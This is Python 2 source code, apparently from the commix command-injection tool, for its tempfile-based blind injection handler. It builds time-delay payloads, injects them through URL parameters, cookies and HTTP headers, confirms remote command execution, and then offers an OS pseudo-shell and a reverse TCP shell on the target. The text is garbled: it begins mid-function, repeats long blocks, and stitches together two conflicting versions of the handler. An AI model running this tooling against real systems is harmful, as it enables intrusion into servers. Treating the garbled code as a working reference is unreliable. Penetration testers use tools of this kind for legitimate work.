if file_access_again in settings.CHOICE_YES:
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
break
elif file_access_again in settings.CHOICE_NO:
if not new_line:
new_line = True
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
err_msg = "'" + file_access_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
# if not menu.enumeration_options() and not menu.options.os_cmd:
# print ""
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
if not new_line :
print ""
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace("\n","").lower()
if gotshell in settings.CHOICE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
if false_positive_warning:
warn_msg = "Due to unexpected time delays, it is highly "
warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
false_positive_warning = False
try:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
warn_msg = "You are already into an 'os_shell' mode."
print settings.print_warning_msg(warn_msg)+ "\n"
elif os_shell_option == "reverse_tcp":
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for The reverse TCP connection.
reverse_tcp.configure_reverse_tcp()
if settings.REVERSE_TCP == False:
continue
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options()
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
break
# Command execution results.
from src.core.injections.results_based.techniques.classic import cb_injector
separator = checks.time_based_separators(separator, http_request_method)
whitespace = settings.WHITESPACE[0]
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG, cmd)
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The reverse TCP connection has failed!"
print settings.print_critical_msg(err_msg)
else:
pass
else:
print ""
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
print Fore.GREEN + Style.BRIGHT + output + "\n" + Style.RESET_ALL
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
possibly_vulnerable = False
false_positive_warning = False
how_long_statistic = []
export_injection_info = False
how_long = 0
injection_type = "semi-blind command injection"
technique = "tempfile-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
err_msg = "The '--url-reload' option is not available in " + technique + "!"
print settings.print_critical_msg(err_msg)
whitespace = checks.check_whitespaces()
if settings.VERBOSITY_LEVEL >= 1:
info_msg ="Testing the " + technique + "... "
print settings.print_info_msg(info_msg)
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
if settings.LOAD_SESSION:
cmd = shell = ""
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
else:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell :
payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
else:
payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Encode payload to Base64
if settings.TAMPER_SCRIPTS['base64encode']:
from src.core.tamper import base64encode
payload = base64encode.encode(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL >= 1:
payload_msg = payload.replace("\n", "\\n")
print settings.print_payload(payload_msg)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)
# Statistical analysis in time responses.
how_long_statistic.append(how_long)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if percent == 100 and no_result == True:
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
# Time relative false positive fixation.
false_positive_fixation = False
if len(TAG) == output_length:
# Simple statical analysis
statistical_anomaly = True
if len(set(how_long_statistic[0:5])) == 1:
if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1:
statistical_anomaly = False
how_long_statistic = []
if delay <= how_long and not statistical_anomaly:
false_positive_fixation = True
else:
false_positive_warning = True
# Identified false positive warning message.
if false_positive_warning:
warn_msg = "Unexpected time delays have been identified due to unstable "
warn_msg += "requests. This behavior may lead to false-positive results.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
while True:
question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
sys.stdout.write(settings.print_question_msg(question_msg))
proceed_option = sys.stdin.readline().replace("\n","").lower()
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
false_positive_fixation = False
raise
elif proceed_option.lower() == "c":
delay = delay + 1
false_positive_fixation = True
break
elif proceed_option.lower() == "q":
raise SystemExit()
else:
if proceed_option == "":
proceed_option = "enter"
err_msg = "'" + proceed_option + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
# Check if false positive fixation is True.
if false_positive_fixation:
false_positive_fixation = False
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
if false_positive_warning:
time.sleep(1)
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
if settings.TARGET_OS == "win":
if alter_shell:
cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
else:
cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
else:
cmd = "echo $((" + str(randv1) + " + " + str(randv2) + "))"
# Check for false positive resutls
how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response)
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if str(output) == str(randvcalc) and len(TAG) == output_length:
possibly_vulnerable = True
how_long_statistic = 0
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
#break
else:
break
# False positive
else:
if not settings.VERBOSITY_LEVEL >= 1:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
else:
if not settings.VERBOSITY_LEVEL >= 1:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
if not settings.VERBOSITY_LEVEL >= 1:
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
if 'cmd' in locals():
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except:
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if str(float_percent) == "100.0":
if no_result == True:
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
else:
percent = ""
else:
percent = str(float_percent) + "%"
#Print logs notification message
#percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
print ""
logs.logs_notification(filename)
raise
else:
percent = str(float_percent) + "%"
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if (len(TAG) == output_length) and \
(possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):
found = True
no_result = False
if settings.LOAD_SESSION:
possibly_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
success_msg = "The"
if found_vuln_parameter == " ":
success_msg += http_request_method + ""
success_msg += the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
shell = ""
session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable=menu.options.level)
#possibly_vulnerable = False
else:
settings.LOAD_SESSION = False
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if settings.TARGET_OS == "win":
time.sleep(1)
new_line = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
question_msg = "Do you want to enumerate again? [Y/n/q] > "
enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
if enumerate_again in settings.CHOICE_YES:
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
print ""
break
elif enumerate_again in settings.CHOICE_NO:
new_line = True
break
elif enumerate_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
print ""
while True:
question_msg = "Do you want to access files again? [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
file_access_again = sys.stdin.readline().replace("\n","").lower()
if file_access_again in settings.CHOICE_YES:
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
break
elif file_access_again in settings.CHOICE_NO:
if not new_line:
new_line = True
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
err_msg = "'" + file_access_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
# if not menu.enumeration_options() and not menu.options.os_cmd:
# print ""
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
if not new_line :
print ""
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace("\n","").lower()
if gotshell in settings.CHOICE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
if false_positive_warning:
warn_msg = "Due to unexpected time delays, it is highly "
warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
false_positive_warning = False
try:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
warn_msg = "You are already into an 'os_shell' mode."
print settings.print_warning_msg(warn_msg)+ "\n"
elif os_shell_option == "reverse_tcp":
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for The reverse TCP connection.
reverse_tcp.configure_reverse_tcp()
if settings.REVERSE_TCP == False:
continue
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options()
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
break
# Command execution results.
from src.core.injections.results_based.techniques.classic import cb_injector
separator = checks.time_based_separators(separator, http_request_method)
whitespace = settings.WHITESPACE[0]
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG, cmd)
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The reverse TCP connection has been failed!"
print settings.print_critical_msg(err_msg)
else:
pass
else:
print ""
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
print Fore.GREEN + Style.BRIGHT + output + "\n" + Style.RESET_ALL
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method):
counter = 1
vp_flag = True
no_result = True
is_encoded = False
fixation = False
export_injection_info = False
injection_type = "Semiblind-based Command Injection"
technique = "tempfile-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = menu.options.maxlen
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Back.RED + "(x) Error: The '--url-reload' option is not available in "+ technique +"!" + Style.RESET_ALL
num_of_chars = 0
# Calculate all possible combinations
total = len(settings.SEPARATORS)
# Estimating the response time (in seconds)
request = urllib2.Request(url)
headers.do_check(request)
start = time.time()
response = urllib2.urlopen(request)
response.read(1)
response.close()
end = time.time()
diff = end - start
url_time_response = int(diff)
if url_time_response != 0 :
print Style.BRIGHT + "(!) The estimated response time is " + str(url_time_response) + " second" + "s"[url_time_response == 1:] + "." + Style.RESET_ALL
delay = int(delay) + int(url_time_response)
for separator in settings.SEPARATORS:
num_of_chars = num_of_chars + 1
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell :
payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
else:
payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
# Check if defined "--verbose" option.
if menu.options.verbose:
if separator == ";" or separator == "&&" or separator == "||":
sys.stdout.write("\n" + Fore.GREY + payload.replace("\n", "\\n") + Style.RESET_ALL)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)
if not menu.options.verbose:
percent = ((num_of_chars*100)/total)
if how_long >= delay:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
elif percent == 100:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(percent)+"%"
else:
percent = str(percent)+"%"
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except:
if not menu.options.verbose:
percent = ((num_of_chars*100)/total)
if percent == 100:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
break
else:
percent = str(percent)+"%"
raise
else:
percent = str(percent)+"%"
break
# Yaw, got shellz!
# Do some magic tricks!
if how_long >= delay:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
http_request_method = "cookie"
found_vuln_parameter = vuln_parameter
else:
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
logs.upload_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The ("+ http_request_method + ") '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "' parameter is vulnerable to "+ injection_type +"."+ Style.RESET_ALL
print " (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
# Check for any enumeration options.
tfb_enumeration.do_check(separator, maxlen, TAG, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
# Check for any enumeration options.
tfb_file_access.do_check(separator, maxlen, TAG, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
# Pseudo-Terminal shell
while True:
